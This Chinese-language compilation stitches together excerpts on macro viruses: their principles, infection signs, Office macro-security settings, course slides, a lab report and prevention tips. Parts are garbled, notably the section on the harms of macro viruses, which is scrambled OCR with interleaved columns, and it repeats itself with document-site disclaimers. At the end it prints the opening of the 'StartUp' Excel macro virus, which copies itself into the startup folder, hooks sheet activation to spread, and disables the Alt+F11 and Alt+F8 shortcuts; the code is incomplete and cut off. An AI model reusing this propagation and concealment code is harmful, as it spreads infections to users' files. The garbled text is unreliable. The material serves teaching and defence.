宏病毒原理及防范
宏病毒
宏病毒宏病毒发作方式: 在Word打开病毒文档时，宏会接管计算机，然后将自己感染到其他文档，或直接删除文件等等。
Word将宏和其他样式储存在模板中，因此病毒总是把文档转换成模板再储存它们的宏。
这样的结果是某些Word版本会强迫你将感染的文档储存在模板中。
判断是否被感染: 宏病毒一般在发作的时候没有特别的迹象，通常是会伪装成其他的对话框让你确认。
在感染了宏病毒的机器上，会出现不能打印文件、Office 文档无法保存或另存为等情况。
宏病毒带来的破坏:删除硬盘上的文件;将私人文件复制到公开场合;从硬盘上发送文件到指定的E-mail、FTP地址。
防范措施:平时最好不要几个人共用一个Office程序，要加载实时的病毒防护功能。
病毒的变种可以附带在邮件的附件里，在用户打开邮件或预览邮件的时候执行，应该留意。
一般的杀毒软件都可以清除宏病毒。
各单位、各部门Office文档是目前使用最多、最常见的办公文档(它包含Word文档，Excel 文档，PPT文档等)，由于Office软件默认的安全级别为中，所以Office文档成了病毒攻击的目标，目前有许多Office文档病毒，最近校园网出现的宏病毒传播，成了大家头疼的一件事，现就处理方法介绍如下，请各老师参考与分享。
1．宏病毒的分析Office文档中的宏是Office中最高级别的部分，平时大家很少用到，它能把繁重的工作简单化，默认的安全级别为中，宏病毒正是利用这一点通过网络、U盘等进行传播，中毒的电脑明显反应变慢，Office文档大小在不断变化，有的成倍增加，一个小小的电子表格就有2M之多，使用十分困难。
2．感染后的特征感染后的Office文档，除大小变大外，每次打开都要求启用宏，不启用便不能打开Office文档，或者打开了，全是空白，如果使用杀毒软件，则会把文档删除，给用户带来许多麻烦。
Office软件运行缓慢，电脑经常死机等。
由于现在（QQ、126）邮件系统都集成防毒软件，在发送邮件时上传感染后的Office文档，邮件系统会提示文件发送失败。
宏病毒原理
宏病毒原理宏病毒是一种利用应用程序的自动化功能来传播的恶意软件。
它们通常隐藏在文档或电子表格中，并利用应用程序中的宏语言来执行恶意代码。
宏病毒的原理是利用用户对文档的信任，通过激活宏来感染系统并传播恶意代码。
宏病毒通常利用常见的办公软件，如Microsoft Office中的Word和Excel，以及其他支持宏语言的应用程序。
当用户打开一个感染了宏病毒的文档时，病毒会利用应用程序中的宏功能来执行恶意代码。
这些恶意代码可以是用于窃取个人信息、破坏系统或网络安全，甚至是加密文件勒索。
宏病毒的传播方式多种多样，最常见的是通过电子邮件附件或下载的文档。
一旦用户打开了感染了宏病毒的文档，病毒就会开始执行恶意代码并尝试传播到其他系统或网络。
由于宏病毒利用了应用程序自身的功能来传播，因此很难被传统的防病毒软件所检测和清除。
为了防范宏病毒的威胁，用户需要采取一些预防措施。
首先，用户应该谨慎打开来自未知发件人的电子邮件附件，尤其是包含文档或电子表格的附件。
其次，用户应该定期更新其操作系统和应用程序，以确保其具有最新的安全补丁和更新。
此外，用户还可以考虑使用安全软件来扫描和清除潜在的宏病毒感染。
在企业环境中，管理员还可以通过限制用户对宏的执行权限来减少宏病毒的传播风险。
此外，教育用户如何辨别和处理潜在的宏病毒感染也是非常重要的。
通过提高用户的安全意识和培训，可以减少宏病毒对企业网络和系统的威胁。
总的来说，宏病毒利用应用程序的自动化功能来传播恶意代码，对个人用户和企业网络都构成了严重的威胁。
为了减少宏病毒的传播风险，用户需要保持警惕，定期更新系统和应用程序，并使用安全软件来扫描和清除潜在的感染。
同时，在企业环境中，管理员还可以通过限制用户对宏的执行权限来减少宏病毒的传播风险。
通过综合的安全措施和用户培训，可以有效地减少宏病毒对系统和网络的威胁。
office如何有效预防宏病毒
Office如何有效预防宏病毒简介宏病毒是一种利用Microsoft Office软件中的宏功能传播的恶意软件。
宏病毒可以通过恶意宏代码来执行各种破坏行为，如破坏、删除或篡改文件。
在工作环境中，使用Microsoft Office软件是不可避免的。
然而，有效预防宏病毒的传播变得尤为重要。
本文将介绍一些有效的预防宏病毒的方法，帮助您保护您的数据和计算机安全。
方法一：启用安全设置Microsoft Office软件提供了一些内置的安全设置，可以帮助有效预防宏病毒的传播。
以下是一些重要的安全设置：1. 禁用自动宏运行默认情况下，Office软件启用自动宏运行。
禁用自动宏运行可以防止恶意宏在打开文档时自动执行。
要禁用自动宏运行，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“宏设置”中，选择“禁用所有宏，并禁用通知”选项。
2. 禁用宏如果您不需要使用宏功能，禁用宏是一种有效的预防宏病毒的办法。
要禁用宏，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“宏设置”中，选择“不允许任何宏运行”选项。
3. 启用受信任的位置有时，您可能需要运行特定的宏或从受信任的位置打开文档。
为了更好地控制宏的运行，可以将受信任的位置添加到Office软件的信任中心。
要启用受信任的位置，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“受信任的位置”中，点击“添加新位置”按钮。
方法二：保持软件升级定期升级Microsoft Office软件是预防宏病毒的另一个重要步骤。
每个Office升级都包含了最新的安全补丁和修复程序，可以提供额外的安全保障。
要确保软件始终保持最新状态，可以按照以下步骤操作：•打开Office软件，点击“文件”菜单。
宏病毒的查杀与防治
3
宏病毒的概念
什么是“宏”
宏就是一组计算机指令--可以将它们录制下
来，并将它们与快捷键组合或宏名称关联起来。
然后，在按下快捷键组合或单击宏名称时，计算
机程序就会执行宏的指令。
4
宏病毒的概念
“宏”在哪里？
我们工作当中，离不开各种文档、表格。比如 微软公司出品的办公软件office2003。当中有 word文档、有excel文档等等。这些高度智能化的 办公软件当中，有很多可以把复杂的反复操作简单 化的指令合集。这种合集可以是自己录制的，也可 以是网络下载的。这就是“宏”
14
宏病毒的查杀及预防
1、提高对宏病毒的警惕性 在office办公软件当中，在 工具—宏—安全性 选项当中把宏安全性设置为 高。 2、时刻保持杀毒软件的正常运行 把杀毒软件的更新设置为自动更新，打开杀毒软 件所有的杀毒选项 3、不要随意打开不明电子邮件 宏病毒寄存在文档当中，通过邮件及U盘拷贝等形 式传播。在收到不明来历的电子邮件，马上删除。例 如：邮件标题为人才调查、人才招聘、财务报表、公 司计划等不明来历具有诱惑性的邮件
5
宏病毒的概念
宏病毒的起源
宏病毒在上个世纪90年代得益于网络及电子邮件 的发展而广泛传播。宏病毒主要感染文件有 word、 Excel 的文档。并且会驻留在系统内存上。因为这种 病毒活动特征区别于电脑病毒，所以一般的杀毒软件 不会报警。只有在用户打开及保存以上两种文档时感 染文件。
6
宏病毒的识别
在杀毒过程中不要选择自动处理，因为这很可能 会把你的染毒文件直接删除。
查找出来的染毒文件如果是重要文档，先用系统
自带的写字板工具打开，保存内容后再清除病毒。 确保重要文档不丢失。
VBA安全性问题及其防范措施
VBA安全性问题及其防范措施VBA（Visual Basic for Applications）是一种用于自动化处理Microsoft Office软件的编程语言。
尽管VBA为办公软件提供了更高的灵活性和自动化能力，但它也存在一些安全性问题。
本文将讨论VBA的安全性问题，并提供一些防范措施，以帮助用户保护其数据和系统安全。
一、VBA安全性问题1. 宏病毒：VBA宏病毒是一种利用VBA代码编写的恶意软件，它可以通过感染Office文档传播，并在用户打开文档时执行恶意代码，从而对用户系统造成损害。
2. 潜在的安全漏洞：由于VBA具有高级编程功能，攻击者可以利用其中的潜在漏洞来执行恶意代码。
例如，攻击者可以通过修改宏代码或利用已知的漏洞来执行未经授权的操作。
3. 社会工程学攻击：VBA的脚本可以用于执行各种操作，包括收集敏感信息、发送垃圾邮件等。
攻击者可以通过发送伪装的电子邮件或欺骗用户执行恶意代码来利用社会工程学手段。
二、VBA安全性防范措施1. 启用宏安全提示：对于使用Microsoft Office软件的用户来说，启用宏安全提示是一个重要的安全策略。
通过打开Office应用程序的“选项”菜单，用户可以选择在打开文档时自动启用宏，或手动选择是否启用宏。
禁用宏功能可在某种程度上降低潜在的安全风险。
2. 可信来源：只打开受信任的文档、电子邮件和宏文件。
确保文档来源可靠，并验证文件是否来自受信任的发送者。
尽量避免从未知来源下载文件或打开来历不明的电子邮件附件，以减少感染宏病毒的风险。
3. 更新软件：及时安装Office软件的更新补丁和安全更新，以确保最新的安全性和修复程序得到应用。
新版本的Office软件通常会修复早期版本中的漏洞和安全问题。
4. 安全审计：对于需要使用VBA的企业和组织，建议进行定期的安全审计。
通过检查和分析VBA代码，可以识别潜在的漏洞和恶意代码，并采取相应的措施来减少安全风险。
5. 加密和密码保护：通过对VBA代码和Office文档进行加密和密码保护，可以增加其安全性。
预防和清除宏病毒的方法
预防和清除宏病毒的方法摘要：宏是WORD中避免一再的重复相同的动作而设计出来的一种工具，宏病毒就是利用软件所支持的宏命令编写的具有复制和传染能力的宏。
本文首先分析宏病毒的特性，并就如何检测、清除及预防进行了探讨。
关键词：宏病毒；WORD；预防；清除Abstract: The macro is a tool designed to avoid repeated the same action in the WORD, and a macro virus is the copy and infectious macro using the software to support macros written. This paper first analyzes the characteristics of macro virus, and discusses on how to detect, removal and prevent it.Key words: macro virus; WORD; prevention; clear所谓宏病毒，就是利用软件所支持的宏命令编写的具有复制和传染能力的宏。
宏病毒是一种新形态的计算机病毒，也是一种跨平台式计算机病毒。
1.宏病毒的工作原理在用W O R D 处理文档时，需要同时进行各种不同的动作，每一种动作其实都对应着特定的宏命令。
宏病毒的感染过程和破坏行为与WORD 的文件宏程序的操作密切相关，这些宏程序可能就是宏病毒的插入点。
病毒包含在宏中时，只要染毒的文件被打开，病毒的宏程序就可能会被执行，进而取得系统控制权，进行感染和破坏。
为了能广泛地传播，宏病毒大都采用感染通用模版NORMAL.DOT 的方法将自己复制到其他文档中去。
W O R D启动时总是自动打开通用模版，这就为宏病毒在每次启动WORD 时能够取得系统控制权提供了机会。
含有自动宏的染毒文档，当被其他计算机的WORD 打开时，也会自动感染该计算机。
宏病毒原理和实现
标准宏
FileSave FileSaveAs FilePrint FileOpen
保存文件 改名另存为文件 打印文件 打开文件
3、宏病毒的自我隐藏
高明的病毒编写者其自我保护将做得非常好，可以使word
的常用一代些码工示具例栏：失效，例如将工具菜单中的宏选项屏蔽，也
可以修改注册表达到很好的隐藏效果。
WORD 宏病毒的生命周期 1 • 某个宏病毒对文档取得控制权 2 • 该病毒将自身复制到通用模板 3 • 通用模板在启动时自动调用
21
Word宏病毒的感染过程
→编程语言：VBA、WordBasic等 →运行环境：VBE
宏病毒原理大揭秘
1、降低宏安全级别
以office2003版为例
If Application.Version <> “11.0” Then ’判断office版本 strFullname = ThisWorkbook.FullName '取得当前工作薄的全名
VBA5
1999 Office2000(WORD10)
VBA6
2001 OfficeXP
VBA6.2
2003 Office2003(WORD11)
VBA6.3
Office自带 Visual Basic 编辑器
office2007 查看宏代码可以点击： 视图> 宏 > 编辑
注: 1、调用VB编辑器的快 捷方式： Alt + F11 2、查看宏的快捷键： Alt + F8
VBA 可以访问许多操作系统函数并支持文 档打开时自动执行宏 ——这使得用这种语言写计算机病毒 成为可能
Office各版本及其宏语言
年份
Office版本
宏病毒防治
宏是Word 里一个非常有用的工具，但也是Word 的安全漏洞之一。
有一些恶意的人利用宏制造宏病毒，给别人带来麻烦。
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档，宏病毒就会被激活，转移到计算机上，并驻留在Normal 模板上。
从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。
13.1 宏病毒宏病毒已经成为发展最快和传播最迅速的病毒。
美国国际计算机安全协会ICSA 的《ICSA 1998 病毒流行调查报告》表明宏病毒独占1998 年十大病毒感染事件的72%，在十大病毒中占了五席交椅：WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。
根据DataFellow 公司每天特征码升级的F-Macro 所检测到的宏病毒数目，至1998 年12 月达到了3,332 个，而在1997 年12 月才是1,821个，增长率为83.0%。
而且F-Macro 并不能检测到所有宏病毒。
在1998 年12 月出现了Word Class Object 的宏病毒，是由VicodinES编写的。
13.1.1 宏病毒许多应用程序都允许在用户的数据库中包含一些宏，随着应用软件的进步，宏语言的功能也越来越强大，其中微软的Word VisualBasic for Application（VBA）已经成为应用软件宏语言的标准。
利用宏语言，可以实现几乎所有的操作，还可以实现一些应用软件原来没有的功能。
每个模板或数据文件中，都可以包含宏命令。
有不少应用软件允许用户利用宏修改软件菜单的功能，并可以将某一个宏加入到菜单中或设置成自动运行的命令。
利用这个功能，宏就可以修改软件本身的功能，从而将软件本身修改为病毒传播的源泉。
宏病毒就是利用Word VBA 进行编写的一些宏，这些宏可以自动运行，干扰用户工作，轻则降低工作效率，重则破坏文件，使用户遭受巨大损失。
宏病毒
宏病毒宏病毒的原理病毒WORD/EXCEL宏病毒的特性较为相似，因此我们仅以WORD宏病毒为例，说明宏病毒的作用、传染以及发作的机理和特性。
宏病毒的产生，是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。
这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘，病毒可以把特定的宏命令代码附加在指定文件上，通过文件的打开或关闭来获取控制权，实现宏命令在不同文件之间的共享和传递，从而在未经使用者许可的情况下获取某种控制权，达到传染的目的。
目前在可被宏病毒感染的系统中，以微软的Word、Excel居多。
宏病毒的作用机制以Word为例，一旦病毒宏侵入WORD，它就会替代原有的正常宏，如FileOpen、FileSave、FileSaveAs和 FilePrint等等，并通过这些宏所关联的文件操作功能获取对文件交换的控制。
当某项功能被调用时，相应的病毒宏就会纂夺控制权，实施病毒所定义的非法操作，包括传染操作、表现操作以及破坏操作等等。
宏病毒在感染一个文档时，首先要把文档转换成模板格式，然后把所有病毒宏（包括自动宏）复制到该文档中。
被转换成模板格式后的染毒文件无法转存为任何其它格式。
含有自动宏的宏病毒染毒文档，当被其它电脑的WORD系统打开时，便会自动感染该电脑。
例如，如果病毒捕获并修改了FileOpen,那么，它将感染每一个被打开的WORD文件。
目前，几乎所有已知的宏病毒都沿用了相同的作用机理，即如果WORD系统在读取一个染毒文件时遭受感染，则其后所有新创建的DOC文件都会被感染。
宏病毒的主要类型有些宏病毒对用户进行骚扰，但不破坏系统，比如说有一种宏病毒在每月的13日发作时显示出一5个数字连乘的心算数学题。
有些宏病毒或使打印中途中断或打印出混乱信息，如Nuclear、Kompu等属此类。
有些宏病毒将文档中的部分字符、文本进行替换。
但也有些宏病毒极具破坏性，如MDMA.A，这种病毒既感染中文版Word，又感染英文版Word，发作时间是每月的1日。
宏病毒的名词解释
宏病毒的名词解释宏病毒，即宏命令病毒，是一种针对办公软件和应用程序的恶意软件。
它利用了宏语言的功能，通过嵌入恶意代码来感染和破坏文件。
宏病毒的破坏性广泛存在于Word、Excel等办公软件中，曾经对计算机安全构成严重威胁。
一、宏病毒的传播方式宏病毒多以邮件附件的形式传播。
黑客通过电子邮件发送带有嵌入宏病毒的文档，一旦用户点击或打开，宏病毒就开始在用户计算机上执行恶意操作。
宏病毒还可以通过文件共享、网络下载和可移动存储介质等方式传播。
二、宏病毒的感染和破坏宏病毒主要感染和破坏办公文档文件，如Word、Excel、PowerPoint等。
它利用文档应用程序内置的宏语言功能，如VBA（Visual Basic for Applications），使恶意代码得以在打开文档的同时运行。
宏病毒可以操纵整个文档，执行恶意操作，如删除、篡改内容、复制自身并传播到其他文档。
宏病毒的破坏性可分为明显和隐蔽两种形式。
明显的病毒会立即显示出破坏行为，如删除文件、关闭程序等。
而隐蔽的病毒则更加隐蔽，它会在后台默默地进行操作，窃取用户信息、传播到其他文档或网络上。
三、预防宏病毒的措施为了保护计算机和个人信息的安全，我们需要采取一系列预防措施来防止宏病毒的感染和破坏。
1. 注意邮件和文件来源：不打开来自陌生人或不可信来源的邮件和文件，尤其是带有宏功能的文档。
2. 更新安全软件：定期更新防病毒软件和操作系统，以获取最新的病毒定义和安全补丁。
3. 禁用宏：对于非必要的宏功能，建议禁用或设置为仅在受信任的文件中启用。
4. 建立安全意识：提高员工对宏病毒的认知，教育他们不轻易点击或打开可疑附件，注意安全使用办公软件。
5. 备份重要文件：定期备份关键文件，以防止突发病毒感染或数据丢失。
四、应对宏病毒的解决方法如果不幸遭受宏病毒感染，我们需要及时采取相应的解决方法来处理病毒。
1. 断开网络连接：迅速断开计算机与网络的连接，以防止病毒通过网络传播和进一步破坏。
宏病毒实验报告
宏病毒实验报告一、实验目的本次实验旨在深入了解宏病毒的工作原理、传播方式以及其对计算机系统可能造成的危害，并通过实际操作和观察，探索有效的防范和清除策略。
二、实验环境1、操作系统：Windows 10 专业版2、办公软件：Microsoft Office 20193、杀毒软件：＿____杀毒软件三、实验原理宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
当打开包含宏病毒的文档时，宏病毒会被自动激活，并执行其中的恶意代码。
宏病毒通常利用 Office 软件中的宏功能来实现自我复制、传播和破坏操作。
四、实验步骤1、准备带有宏病毒的测试文档从网络上获取已知的含有宏病毒的示例文档。
对获取的文档进行备份，以防对实验环境造成不可恢复的破坏。
2、观察宏病毒的激活过程打开带有宏病毒的文档。
留意弹出的警告提示，记录相关信息。
3、分析宏病毒的行为观察文档中的内容是否被篡改。
检查计算机系统的性能是否受到影响，如 CPU 使用率、内存占用等。
4、尝试清除宏病毒使用安装的杀毒软件进行扫描和清除。
手动删除相关的宏代码。
五、实验结果与分析1、宏病毒激活情况打开测试文档时，Office 软件弹出了宏安全警告，但仍可以选择启用宏。
一旦启用宏，病毒立即开始执行恶意操作。
2、宏病毒的行为表现文档中的部分文本被修改，格式变得混乱。
CPU 使用率短时间内飙升，系统运行变得卡顿。
3、清除效果杀毒软件能够检测到宏病毒，并成功清除大部分感染，但仍有部分残留。
手动删除宏代码后，文档恢复正常，系统性能也逐渐恢复。
六、实验结论1、宏病毒具有较强的隐蔽性和破坏性，能够在用户不知情的情况下对文档和系统造成损害。
2、办公软件的宏安全设置对于防范宏病毒至关重要，用户应保持较高的安全意识，不轻易启用来源不明的宏。
3、杀毒软件在宏病毒的清除方面起到了一定的作用，但仍需不断更新病毒库和优化清除算法，以应对不断变化的宏病毒威胁。
4、定期备份重要的文档和数据是防范宏病毒造成严重损失的有效措施。
3-3-1宏病毒分析
计算机病毒与防治课程小组
宏病毒特点
宏病毒特点
（1）宏病毒会感染.DOC文档和.DOT模版文件。 （2） 宏病毒的传染通常是WORD在打开一个带宏病毒的文档或 模版时，激活宏病毒。 （3）多数宏病毒包含A U T O O P E N 、A U T O C L O S E 、 AUTONEW 和AUTOEXIT 等自动宏，通过这些自动宏病毒取得文档 (模版)操作权。 （4）宏病毒中总是含有对文档读写操作的宏命令。 （5）病毒原理简单，制作比较方便。 （6）传播速度相对较快。
计算机病毒与防治课程小组
宏操作示例
例如，在C:\My Document中有200个Word文档，依次命名为“1.doc”，“2.doc”， “3.doc”，„“200.doc”，我们需要把文件格式改变为文本文件，即txt文件。 先以1.doc为例，录制一个宏，打开文档，另存为txt文件，再关闭该活动文档。生成的 Visual Basic代码如下： Sub Macro1() ChangeFileOpenDirectory ″C:\My document″ Documents.Open FileName:=″1.doc″ ActiveDocument.SaveAs FileName:=″1.txt″,FileFormat:=wdFormatText ActiveWindow.Close End Sub
计算机病毒与防治课程小组
本讲小结
宏病毒特点
宏病毒原理与检测
宏病毒清除于预防方法
掌握典型宏病毒 行为分析，具有一 定的反病毒能力
宏操作示例
计算机病毒与防治课程小组
Virus
（5）考虑到大部分WORD用户使用的是普通的文字处理功能，很少使用宏编程， 既然对NORMAL.DOT模版很少修改,因此，用户可以选择“工具→选项→保存”页 面，选中“提示保存NORMAL 模版”项，这样，一旦宏病毒感染了WORD文档后用 户从WORD退出时，WORD会提示“更改的内容会影响到公用模版NORMAL，是否保存 这些修改内容？”，这说明WORD 已感染宏病毒，当然应选择“否”，退出后再 采用其他方法杀毒。
计算机宏病毒的含义、来源与防范对策
一
２ 计算机 宏病 毒的危害
２ ． １ 宏病毒的主要影响
般 在 文 档 打 开 时 就 要 禁 止 所 有 的 自动 执 行 的 宏 ，这 样
做 的 目的 是 为 了保 证 用 户 Ｗ０ＲＤ 文 档 的 安 全 ．对 于 字 ９ ７。 可
选 项一 常规 ． 这样字 ９ ７的 宏 病 毒 就 已 经 ＷＯ Ｒ Ｄ宏 病 毒 的 危 害 主要 存在 两 个 方 面 ：① 对 系统 的危 以在 电脑 中点 击 工 具一 不会 再 被 病 毒 侵 入 。还 有 一 种 方 法 是 持 有 Ｓ ｈ ｉ ｆ ｔ 键 或 害是 ： Ｗｏ ｒ ｄ Ｂ ｓｉ ａ ｃ语 言 不 能再 调 用 系统命 令 ，使 其 系 统 瘫 痪 。 被 防治 ， 开放 Ｗｏ ｒ ｄ文 件 ， 这 样 也 有 禁 止 自动宏 的作 用 。 在 字 ９ ７这 个版 ② 对 ＷＯ Ｒ Ｄ运行的危 害 ： 无法关 闭宏病毒 、 无 法正常 的打 印 存在 一种 宏 叫作 Ａ ｕ ｔ ｏ ｅ ｘ ｅ ｃ 宏。 这 种 宏 在 运行 的 时候 其 文件、 不能对文件重命名 、 无 法拷 贝 、 不 能正 常 的 编 辑 、 会 出现 本 之 前 ． 他 的 宏 都 需要 关 闭 ， 不 能 同 时运 行 ， 但 是 这 种 宏 的 优 点是 可 以 乱 码 和 不 能 将 文 件 储 存 的 路 径 发 生 改 变 。 宏 病 毒 一 般 攻 击
三招防范宏病毒
三招防范宏病毒由于宏病毒经常在办公软件Office中出现，给广大用户造成不小的损失。
笔者发现，通过以下三招可以远离宏病毒（以Word为例）。
第一招：设置宏安全级别打开Word，选择“工具选项安全性宏安全性”命令，这样就打开了宏的安全级别属性设置选项，将安全级别由默认的“高”修改为“非常高”，最后单击“确定”即可。
这样可以防止除Word默认的宏以外的其他宏运行。
第二招：运行宏病毒自动提示打开Word，选择“工具选项安全性宏安全性”命令，单击“可靠发行商”标签，取消选择“信任所有安装的加载项和模板”复选框，然后单击“确定”即可。
这样当打开含有宏的Word文档时，就会提示宏已被禁止。
当然，也可能让正常的宏使用受到限制。
第三招：卸载VBA彻底预防宏病毒VBA全称是Visual Basic for Application，它是Microsoft Visual Basic的宏语言版本。
用于Windows应用程序的宏。
是Word中宏的支持工具包，一旦禁用此包，一些自定义模板和所有的宏将不可用。
具体方法：双击“控制面板”中的“添加/删除程序”图标，找到Microsoft Office的安装项，单击“更改”按钮，选择“添加或删除功能”选项后，单击“下一步”按钮，在弹出来的窗口选“选择应用程序的高级自定义”复选框，再单击“下一步”按钮，这样，就可以选择删除该工具包。
在打开的Office程序及附加内容和工具中单击“Office共享功能“前的加号，找到“Visual Basic for Application”，单击前面的驱动器图标，选择“不安装”按钮即可。
经过以上三招，宏病毒将会远离你的Office了，这里是以Word为例介绍的，其实对Excel 也同样适用，不妨一试。
、只要运行注册表就可以啦！具体做法：在“开始”里找到“运行”按纽，点击后在“打开”栏里输入“regedit”，就可以打开注册表了；找到HKEY_LOCAL_MACHINE打开,找SOFTWARE打开,找Microsoft打开,找office 打开,找11.0打开,找EXCEL打开,找security打开后看到它旁边的窗口有一项名称为LEVEL 的，双击它，在跳出的编辑DWORD值里面看到数值数据（V）：下面的空格啦，你就可以在里面修改数值啦。
电脑宏病毒
电脑宏病毒宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
下面由店铺带你走进宏病毒中!让你充分的了解宏病毒!谢谢!宏病毒：一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。
从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。
如果某个文档中包含了宏病毒，我们称此文档感染了宏病毒;如果WORD系统中的模板包含了宏病毒，我们称WORD系统感染了宏病毒。
来源虽然OFFICE97/Word97无法扫描软盘、硬盘或网络驱动器上的宏病毒。
但当打开一个含有可能携带病毒的宏的文档时，它能够显示宏警告信息。
并且在2013年后的杀毒软件已支持宏病毒扫描。
这样就可选择打开文档时是否要包含宏，如果希望文档包含要用到的宏(例如，单位所用的定货窗体)，打开文档时就包含宏。
如果您并不希望在文档中包含宏，或者不了解文档的确切来源。
例如，文档是作为电子邮件的附件收到的，或是来自网络或不安全的Internet节点。
在这种情况下，为了防止可能发生的病毒传染，打开文档过程中出现宏警告提示时最好选择“取消宏”。
OFFICE97软件包安装后，系统中包含有关于宏病毒防护的选项，其默认状态是允许“宏病毒保护”复选框。
如果愿意，您可以终止系统对文档宏病毒的检查。
当Word显示宏病毒警告信息时，清除“在打开带有宏或自定义内容的文档时提问”复选框。
或者关闭宏检查：单击“工具”菜单中的“选项”命令，再单击“常规”选项卡，然后清除“宏病毒保护”复选框。
不过我强烈建议您不要取消宏病毒防护功能，否则您会失去这道防护宏病毒的天然屏障。
上世纪90年代的宏病毒主要感染文件有word、Excel 的文档。
并且会驻留在Normal面板上据统计，通过Internet传播的不同类型的病毒数量如下：DOS型： 10000至11000种Windows型：12种Macintosh型：35种宏病毒： 200余种Unix型： 6种其中10000-11000种DOS型病毒能感染所有DOS、Windows95平台的计算机(但不感染Macintosh计算机);但200余种宏病毒中的大部分能感染所有计算机，包括PC机和Macintosh机。
电脑病毒宏病毒作用机制及预防介绍
电脑病毒宏病毒作用机制及预防介绍Word宏病毒是一些制作病毒的专业人员利用MicrosoftWord的开放性即Word中提供的WordBASIC编程接口，下面由店铺给你做出详细的电脑病毒宏病毒作用机制及预防介绍!希望对你有帮助!欢迎回访店铺网站，谢谢!电脑病毒宏病毒作用机制及预防介绍：制作的一个或多个具有病毒特点的宏，它能通过.DOC文档及.DOT模板进行自我复制及传播。
宏病毒与以往的计算机病毒不同，它是感染微软Word文档文件.DOC和模板文件.DOT等的一种专向病毒。
宏病毒与以往攻击DOS和Windows文件的病毒机理完全不一样，它以VB(WORDBASIC)高级语言的方式直接混杂在文件中，并加以传播，不感染程序文件，只感染文档文件。
也许有人会问：MicrosoftWordforWindows所生成的.DOC文件难道不是数据文件吗?回答既是肯定的又是否定的。
.DOC文件是一个代码和数据的综合体。
虽然这些代码不能直接运行在x86的CPU上，但是可以由Word解释执行操作，因此他们的结果是一样的。
宏病毒是针对微软公司的字处理软件Word编写的一种病毒。
微软公司的字处理软件是最为流行的编辑软件，并且跨越了多种系统平台，宏病毒充分利用了这一点得到恣意传播。
Word的文件建立是通过模板来创建的，模板是为了形成最终文档而提供的特殊文档，模板可以包括以下几个元素：菜单、宏、格式(如备忘录等)。
模板是文本、图形和格式编排的蓝图，对于某一类型的所有文档来说，文本、图像和格式编排都是类似的。
Word提供了几种常见文档类型的模板，如备忘录、报告和商务信件。
您可以直接使用模板来创建新文档，或者加以修改，也可以创建自己的模板。
一般情况下，Word自动将新文档基于缺省的公用模板(Normal.dot)。
可以看出，模板在建立整个文档中所起的作用，作为基类，文档继承模板的属性，包括宏、菜单、格式等。
WORD处理文档需要同时进行各种不同的动作，如打开文件、关闭文件、读取数据资料以及储存和打印等等。
宏病毒的探究及防治
宏病毒的探究及防治【摘要】宏病毒是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏作为办公软件的一个创新功能，可把操作程序简化，但同时也提高了宏病毒的传播与感染率。
本文从宏病毒的概念出发，介绍了宏病毒的类型、运行机制、防治方法，以此来帮助用户在遭遇宏病毒攻击时做出正确的应对措施，保护计算机中数据的安全。
【关键词】计算机病毒；宏病毒；Office 软件计算机及网络技术的飞速发展就像把双刃剑，在便捷人们生活的同时，也为宏病毒的蔓延与传播提供了方便，虽然人们都研制出各具特色的方法来抵御宏病毒，但宏病毒具有多样性，新的病毒被消灭，就会有其他宏病毒浮出水面，这对人们抵御宏病毒工作带来了诸多麻烦。
一、宏病毒的概念所谓“宏”就是在使用软件工作时，为了避免相同的操作，用简单的语法而设计出来的一种工具，在办公软件中宏可使用一系列命令。
宏语言是用于在特定应用程序中自动执行特定序列的命令措辞，宏通过自动完成特定方法来简化复杂的过程并使其更适合。
什么叫“宏病毒”，就是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏病毒可以存在于Word、Excel、Database、PowerPoint 等数据文件中，可在一些处理数据的系统中运行，利用宏程序特殊的功能，将自己复制到其他数据处理文件中。
宏作为办公软件中一个创意性的新功能，利用宏可以帮助用户简化操作，但同时也为宏病毒的传播和感染提供了便利，但他们也产生能够处理和产生office文件的宏病毒，这使Microsoft Word 和 Microsoft Excel成为宏病毒的首要攻击对象，宏病毒可以影响 PC 和 Mac。
如图所示。
二、宏病毒的类型1.Concept病毒Concept病毒是最“有名”的宏病毒。
它于1995年首次出现，专门用于感染Microsoft Word 文档。
这也是第一次病毒通过将自身附加到文档而不是应用程序进行传播。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
宏病毒原理及防范
一、常见宏病毒
1．startup宏病毒
宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。
然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。
下面先看看startup宏病毒代码吧，注意红字部分。
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And
Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ =
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
